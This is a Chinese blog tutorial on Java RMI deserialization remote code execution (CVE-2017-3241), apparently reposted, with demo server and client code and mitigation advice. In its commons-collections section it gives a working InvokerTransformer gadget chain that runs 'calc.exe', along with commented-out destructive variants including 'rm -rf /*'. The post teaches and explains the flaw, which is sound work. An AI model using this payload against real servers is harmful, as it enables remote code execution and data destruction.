栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

【CVE-2017-3241】Java RMI远程反序列化代码执行

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

【CVE-2017-3241】Java RMI远程反序列化代码执行

对于Java RMI,只要是以对象为参数的接口,都可以在客户端构建一个对象,强迫服务端对这个存在于Class Path下可序列化类进行反序列化,从而执行一个不在计划内的方法。

一、了解什么是Java RMI?

RMI(Remote Method Invocation),即远程方法调用

1.1 是什么?

RMI是一个通信工具,支持存储于不同空间的应用级对象之间进行通信的工具,实现了远程对象之间的无缝调用。用于不同虚拟机之间的通信,通信的虚拟机可以不在同一个服务器。RMI是标识了一些对象,允许被其它虚拟机直接远程调用。 1.2 调用步骤

创建远程接口,继承至Remote实现一个远程对象(实现类)将远程对象注册到RMI Registry(对外发布)客户端RMI可以通过访问服务器找到注册的远程对象客户端RMI将远程对象存根客户端调用类实现客户端RMI存根直接与服务端通信,服务端将结果返回给客户端RMI客户端RMI将拿到的信息返回给客户端 1.3 组成部分

RMI通信由三部分组成

RMI Registry,JDK提供的一个可以独立运行的程序(bin),默认端口1099服务端(Server)程序,提供服务实现类,并注册到RMIRegistry上对外暴露一个指定的名称客户端(Client)程序,通过服务端信息和一个已知的暴露名称,借用RMI远程访问。 1.4 通信过程

说明

Stub,存根,代理角色Skeleton,骨干,实际调用服务端实现类方法Rmote Reference Layer,远程引用层,处理通信Transport Layer,传输层,管理连接的 请求,客户端->存根->引用层->传输层,传递到服务端主机,传输层->引用层->骨干->服务端返回,服务端->骨干->引用层->传输层,返回信息到客户端主机,传输层->引用层->存根->客户端 二、尝试通过RMI远程调用 2.1 服务端:实现远程服务接口

package com.cloudcc.designmode.study01.rmiplay;

import java.rmi.Remote;
import java.rmi.RemoteException;


public interface Services extends Remote {

    String sendUserInfo(UserInfo userInfo) throws RemoteException;

}

必须抛出异常RemoteException,否则会异常(remote object implements illegal remote interface) 2.2 服务端:实现远程服务类

package com.cloudcc.designmode.study01.rmiplay;


public class RMIServer implements Services{

    @Override
    public String sendUserInfo(UserInfo userInfo) {
        String accountId = userInfo.getAccountId();
        System.out.println(accountId);
        if (accountId.contains("XXX")){
            return "XXX:acc000001";
        }else {
            return "Known: acc000002";
        }
    }

}
2.3 服务端:传输的对象
package com.cloudcc.designmode.study01.rmiplay;

import java.io.Serializable;


public class UserInfo implements Serializable {

    private String accountId;

    public String getAccountId() {
        System.out.println("我被远程调用了");
        return accountId;
    }

    public void setAccountId(String accountId) {
        this.accountId = accountId;
    }
}
2.4 服务端:对外暴露对象
package com.cloudcc.designmode.study01.rmiplay;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;


public class ExecuteRmi {

    public static void main(String[] args) {
        System.out.println("启动服务端RMI");
        RMIServer rmiServer = new RMIServer();
        try {
            Services services = (Services) UnicastRemoteObject.exportObject(rmiServer, 8080);
            Registry registry;
            try {
                registry = LocateRegistry.createRegistry(8080);
                System.out.println("完成RMI Registry的创建。");
            }catch (Exception e){
                System.out.println("使用已经存在的RMI Registry。");
                registry = LocateRegistry.getRegistry();
            }
            registry.rebind("RMIServer", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

}
2.5 客户端:拷贝内容(服务接口、传输对象)
package com.cloudcc.designmode.study01.rmiplay;

import java.rmi.Remote;
import java.rmi.RemoteException;


public interface Services extends Remote {

    String sendUserInfo(UserInfo userInfo) throws RemoteException;
}

package com.cloudcc.designmode.study01.rmiplay;

import java.io.Serializable;


public class UserInfo implements Serializable {

    private String accountId;

    public String getAccountId() {
        System.out.println("我被远程调用了");
        return accountId;
    }

    public void setAccountId(String accountId) {
        this.accountId = accountId;
    }
}
2.6 客户端:远程调用对象
package com.cloudcc.designmode.study01.client;

import com.cloudcc.designmode.study01.hehe.PublicKnown;
import com.cloudcc.designmode.study01.rmiplay.Services;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;
import sun.rmi.server.UnicastRef;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
        Services services = (Services) registry.lookup("RMIServer");
        // 正常调用
        UserInfo userInfo = new UserInfo();
        userInfo.setAccountId("我要获取XXX的账号ID,请返回给我。");
        System.out.println(services.sendUserInfo(userInfo));
    }
}
三、模拟远程执行不在计划内的方法 3.1 服务端:增加意外类(重现类)

只是重现,非模拟

package com.cloudcc.designmode.study01.hehe;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;


public class AccidentObject implements Serializable {

    private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
        stream.defaultReadObject();
        System.out.println("我被执行了,这确实不应该,但我也没办法,都是JDK的错。");
    }
}
3.2 客户端:构建意外类

客户端构建类要求

包路径、类名必须与服务端的问题类一致必须继承远程调用类的依赖类,这里指的是UserInfo内容暂时不必定,但并非没有意义

package com.cloudcc.designmode.study01.hehe;

import com.cloudcc.designmode.study01.rmiplay.UserInfo;

import java.io.Serializable;


public class AccidentObject extends UserInfo implements Serializable {

}
3.3 客户端:修改调用代码
package com.cloudcc.designmode.study01.client;

import com.cloudcc.designmode.study01.hehe.AccidentObject;
import com.cloudcc.designmode.study01.rmiplay.Services;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIClient {

    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
        Services services = (Services) registry.lookup("RMIServer");
        AccidentObject accidentObject = new AccidentObject();
        accidentObject.setAccountId("随便给我个accountId");
        String s = services.sendUserInfo(accidentObject);
        System.out.println(s);
    }
}

调用结果:服务端会执行不应该被执行的方法,即AccidentObject::readObject 四、模拟远程执行并修改变量值 4.1 服务端:模拟公用包的问题类(模拟类)

package com.cloudcc.designmode.study01.hehe;

import org.springframework.transaction.TransactionSystemException;
import org.springframework.util.StringUtils;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;


public class CustomTx implements Serializable {

    public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";

    private ITransaction iTransaction;

    private String userTransactionName;

    private boolean autodetectUserTransaction;

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // 模拟当前类存在事务
        this.iTransaction = new HasTransaction();
        // Rely on default serialization; just initialize state after deserialization.
        ois.defaultReadObject();
        System.out.println("不好我被执行了");
        // Perform a fresh lookup for JTA handles.
        System.out.println("我现在有事务管理器:" + this.iTransaction.getClass());
        initUserTransactionAndTransactionManager();
        System.out.println("事务管理器被修改了,现在是:" + this.iTransaction.getClass());
    }

    protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
        if (this.iTransaction == null) {
            // Fetch JTA UserTransaction from JNDI, if necessary.
            if (StringUtils.hasLength(this.userTransactionName)) {
                System.out.println("不好,tx name被篡改了,现在的名字是:" + this.userTransactionName);
                if (this.userTransactionName.equals(DEFAULT_USER_TRANSACTION_NAME)){
                    iTransaction = new HasTransaction();
                }else {
                    iTransaction = new NoneTransaction();
                }
            } else {
                this.iTransaction = retrieveUserTransaction();
                if (this.iTransaction == null && this.autodetectUserTransaction) {
                    this.iTransaction = findUserTransaction();
                }
            }
        }
    }

    private ITransaction findUserTransaction() {
        return new NoneTransaction();
    }

    private ITransaction retrieveUserTransaction() {
        this.autodetectUserTransaction = true;
        return null;
    }

    public String getUserTransactionName() {
        return userTransactionName;
    }

    public void setUserTransactionName(String userTransactionName) {
        this.userTransactionName = userTransactionName;
    }
}
public interface ITransaction {
}


public class HasTransaction implements ITransaction{
}


public class NoneTransaction implements ITransaction{
}
4.2 客户端:定义问题类
package com.cloudcc.designmode.study01.hehe;

import com.cloudcc.designmode.study01.rmiplay.UserInfo;

import java.io.Serializable;


public class CustomTx extends UserInfo implements Serializable {

    // 序列来源说明
    public static final long serialVersionUID = 8530490060988692L;

    private String userTransactionName;

    public String getUserTransactionName() {
        return userTransactionName;
    }

    public void setUserTransactionName(String userTransactionName) {
        this.userTransactionName = userTransactionName;
    }
}
4.3 客户端:调整调用代码
package com.cloudcc.designmode.study01.client;

import com.cloudcc.designmode.study01.hehe.CustomTx;
import com.cloudcc.designmode.study01.rmiplay.Services;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIClient {

    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
        Services services = (Services) registry.lookup("RMIServer");
        // 模拟属性被修改
        CustomTx customTx = new CustomTx();
        customTx.setUserTransactionName("你被我修改了");
        services.sendUserInfo(customTx);
    }
}

包路径、类名必须一致类变量的值也会被序列化序列化ID问题,服务端会把正确的序列化ID返回给客户端 五、问题类记录及演示 5.1 JtaTransactionManager

Maven


	org.springframework
	spring-tx
	5.3.13

攻击说明

把仿造的JtaTransactionManager对象发送到服务器端时,服务端需要初始化各种对象,这就需要完整的环境,包含了spring-tx、jta包、apache common的日志等客户端也需要依赖以上包不要在意客户端的报错,只看readObject()有没有执行,正常情况客户端一定会报错,且是服务端返回给客户端的错误,即报错是服务端执行的报错。防漏洞处理,transient 5.2 commons-collections包漏洞

可远程执行命令条件

jdk7或服务端重写了sun.reflect.annotation.AnnotationInvocationHandlercommons-collections低版本,3.1以下,以上没测试 代码

Maven


	commons-collections
	commons-collections
	3.1

服务端代码

package com.cloudcc.designmode.study01.other;

import java.rmi.Remote;
import java.rmi.RemoteException;


public interface User extends Remote {

  String sayHello(String hello) throws RemoteException;

  void work(Object obj) throws RemoteException;

}

// 实现类
package com.cloudcc.designmode.study01.other;

import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;


public class UserImpl extends UnicastRemoteObject implements User {

  protected UserImpl() throws RemoteException {
  }

  protected UserImpl(int port) throws RemoteException {
  	super(port);
  }

  protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
  	super(port, csf, ssf);
  }

  @Override
  public String sayHello(String hello) throws RemoteException {
  	return "hello";
  }

  @Override
  public void work(Object obj) throws RemoteException {
  	System.out.println(obj);
  	System.out.println("work方法被调用了");
  }
}

// 暴露
package com.cloudcc.designmode.study01.other;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class ExecuteServer {

  public static void main(String[] args) throws RemoteException {
  	User user = new UserImpl();
  	Registry registry = LocateRegistry.createRegistry(1099);
  	registry.rebind("user", user);
  	System.out.println("开始使用RMI......");
  }

}

客户端代码

// 相同接口
package com.cloudcc.designmode.study01.other;

import java.rmi.Remote;
import java.rmi.RemoteException;


public interface User extends Remote {

    String sayHello(String hello) throws RemoteException;

    void work(Object obj) throws RemoteException;
}

// 调用类
package com.cloudcc.designmode.study01.other;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;


public class UserClient {

    public static void main(String[] args) throws Exception {
        String url = "rmi://127.0.0.1:1099/user";
        User user = (User) Naming.lookup(url);
        String hello = user.sayHello("hello");
        System.out.println(hello);
        user.work(getpayload());
    }

    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
                // new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"cmd", "/C", "rd D:\aaa.txt"}})
				// new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/sh", "-c", "rm -rf /*"}})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap<>();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        return ctor.newInstance(Target.class, transformedMap);
    }

}
六、漏洞处理

处理方式

该漏洞新版本已修复,且前置条件很多,几乎不可能被利用公网不开放RMI的接口增加限制反序列化工具 受漏洞影响的工具

服务器

WebLogic、Apache、JBoss等中间件 包

JDK官方包、FastJson、Spring、Apache Commons等等 漏洞原因

sun.rmi.serverUnicastRef类(rt.jar包)方法

// 非基础类型会走readObject()方法,所有包含该方法的公共类都会被利用攻击
protected static Object unmarshalValue(Class var0, ObjectInput var1) throws IOException, 		ClassNotFoundException {
	if (var0.isPrimitive()) {
    	if (var0 == Integer.TYPE) {
        	return var1.readInt();
    	} else if (var0 == Boolean.TYPE) {
        	return var1.readBoolean();
    	} else if (var0 == Byte.TYPE) {
        	return var1.readByte();
    	} else if (var0 == Character.TYPE) {
        	return var1.readChar();
    	} else if (var0 == Short.TYPE) {
        	return var1.readShort();
    	} else if (var0 == Long.TYPE) {
        	return var1.readLong();
    	} else if (var0 == Float.TYPE) {
        	return var1.readFloat();
    	} else if (var0 == Double.TYPE) {
        	return var1.readDouble();
    	} else {
        	throw new Error("Unrecognized primitive type: " + var0);
    	}
	} else {
    	return var0 == String.class && var1 instanceof ObjectInputStream ? SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)var1) : var1.readObject();
	}
}
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/785895.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号